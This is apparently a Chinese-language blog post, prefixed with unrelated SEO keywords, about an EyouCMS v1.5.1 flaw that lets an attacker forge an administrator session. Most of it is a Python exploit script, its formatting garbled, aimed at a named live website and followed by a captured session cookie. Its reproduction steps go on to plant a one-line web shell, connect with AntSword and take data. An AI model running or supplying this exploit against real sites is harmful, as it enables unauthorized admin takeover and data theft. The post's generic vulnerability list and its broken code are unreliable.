wordpress本地网站上传,数字广东网络建设有限公司,网站项目建设流程图,最优的网站建设推广赞赞网络科技 EyouCMS#xff08;易优CMS#xff09;是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统#xff08;CMS#xff09;。 Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞#xff0c;该漏洞使攻击者可以通过调用api#xff0c;在前台… 赞赞网络科技 EyouCMS易优CMS是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统CMS。 Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞该漏洞使攻击者可以通过调用api在前台设置一个管理员的session后台远程插件下载文件包含getshell。
漏洞描述 eyoucms是一款广泛使用的开源CMS系统然而最近发现该系统存在多个漏洞使得攻击者可以轻易地获取系统权限并执行恶意代码。
以下是几个重要的漏洞
1. SQL注入漏洞 该漏洞存在于eyoucms的登录页面攻击者可以通过构造特定的SQL语句绕过身份验证并获取管理员权限。此外攻击者还可以利用该漏洞在数据库中执行任意代码。
2. 文件包含漏洞 eyoucms的文件包含漏洞存在于多个页面攻击者可以通过构造特定的URL参数来读取和执行任意文件。这使得攻击者可以轻松地获取系统权限并执行恶意代码。
3. 命令注入漏洞 该漏洞存在于eyoucms的后台管理页面攻击者可以通过构造特定的命令绕过身份验证并执行任意命令。这使得攻击者可以在系统中执行任意代码包括删除、修改和上传文件等操作。 为了避免这些漏洞被攻击者利用eyoucms的开发者已经发布了修复程序。 影响范围EyouCMS 1.5.1
复现步骤
如果不知道版本的话就先做信息收集 这是版本号v1.5.1 通过百度查询eyouCMS v1.5.1版本的漏洞 通过查询可知利用Python脚本去爆破数据 我在网上找了个脚本如下
# -*- coding:utf-8 -*-
from time import timeimport requests
import re# 定义 header 头, 绕过 isAjax
header {x-requested-with: xmlhttprequest}# 定义一个 requests 会话
request requests.session()PHPSESSION # 绕过第一个判断
def get_session(url):global PHPSESSION# 设置 admin_id 并且获取 PHPSESSIONpayload /index.phpresult request.get(urlurl payload, headersheader)# 获取PHPSESSIONprint([] PHPSESSION re.search(PHPSESSID(.*?);, result.headers[set-cookie]).groups()[0])PHPSESSION re.search(PHPSESSID(.*?);, result.headers[set-cookie]).groups()[0]def set_admin_id(url):# 设置一个 admin_id 以绕过第一个条件payload /index.php?mapicajaxaget_tokennameadmin_idresult request.get(urlurl payload, headersheader).textprint(f[] 正在设置 admin_id - [{result}])def set_admin_login_expire(url):payload /index.php?mapicajaxaget_tokennameadmin_login_expirewhile True:result request.get(urlurl payload, headersheader).text# 第二个判断条件判断登录是否在一小时里if (time() - int(change(result), 10) 3600):print([] admin_login_expire result)breakprint(f[INFO] 正在爆破 admin_login_expire - [{result}])def set_admin_info_role_id(url):payload /index.php?mapicajaxaget_tokennameadmin_info.role_idwhile True:result request.get(urlurl payload, headersheader).text# 第三个判断条件判断是否是管理员权限if (int(change(result), 10) 0):print([] admin_login_expire result)breakprint(f[INFO] 正在爆破 admin_info.role_id - [{result}])def check_login(url):payload login.php?madmincSystemaweblangcnresult request.get(urlurl payload).textif 网站LOGO in result:print(f[] 使用 PHPSESSION - [{PHPSESSION}] 登录成功)else:print(f[] 使用 PHPSESSION - [{PHPSESSION}] 登录失败)# 如果第一个字符为字母就直接返回0不是则直到找到字母并且返回前面不是字母的字符
def change(string):temp for n, s in enumerate(string):if n 0:if s.isalpha():return 0breakif s.isdigit():temp str(s)else:if s.isalpha():breakreturn tempdef run(url):# 开始计时time_start time()get_session(url)set_admin_id(url)set_admin_login_expire(url)set_admin_info_role_id(url)check_login(url)print(f[] PHPSESSION {PHPSESSION})# 结束计时time_end time()print(f[] 总共用时 {int(time_end) - int(time_start)} s)if __name__ __main__:url http://js.i-zeeker.comrun(url)跑出成功的cookie值hdvu568p2jhj1bdid6e3h5c3kc 去网站的登录页面 登录后台成功 在后台修改文件 一句话木马进入 用蚁剑连接 拿下数据 漏洞修复
升级EyouCMS至V1.5.2或以后版本。